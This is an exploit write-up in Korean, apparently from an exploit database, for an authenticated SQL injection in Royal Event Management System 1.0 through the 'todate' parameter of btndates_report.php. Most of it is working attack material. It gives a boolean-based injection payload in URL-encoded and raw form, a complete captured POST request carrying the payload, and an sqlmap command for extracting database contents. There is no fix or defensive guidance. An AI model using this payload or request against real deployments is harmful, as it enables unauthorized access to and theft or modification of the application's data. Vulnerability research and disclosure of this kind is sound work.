
# Royal Event Management System 1.0 'todate' 매개변수를 통한 인증된 SQL 인젝션 익스플로잇 데이터베이스 추출을 위한 개념 증명 페이로드 및 SQLmap 통합을 포함한, Royal Event Management System 1.0의 'todate' 매개변수를 통한 인증된 SQL 인젝션 익스플로잇.
Royal Event Management System 1.0은 /royal_event/btndates_report.php#?= 에서 'todate' 매개변수를 통한 SQL 인젝션을 허용합니다. 이 문제를 악용하면 공격자가 애플리케이션을 손상시키거나, 데이터에 접근하거나 수정하거나, 기본 데이터베이스에 잠재된 취약점을 악용할 수 있습니다.
Burpsuite에서 영향을 받는 페이지의 'todate' 매개변수가 포함된 요청을 가로채서 poc.txt로 저장합니다. 그런 다음 SQLmap을 실행하여 데이터베이스에서 데이터를 추출합니다:
sqlmap -r poc.txt --dbms=mysql
(boolean 기반)
-1%27+OR+1%3d1+OR+%27ns%27%3d%27ns
POST /royal_event/btndates_report.php#?= HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 334
Content-Type: multipart/form-data; boundary=f289a6438bcc45179bcd3eb7ddc555d0
Cookie: PHPSESSID=qeoe141g7guakhacf152a3i380
Referer: http://localhost/royal_event/btndates_report.php#?=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
--f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="todate"
-1' OR 1=1 OR 'ns'='ns
--f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="search"
3
--f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="fromdate"
01/01/2011
--f289a6438bcc45179bcd3eb7ddc555d0--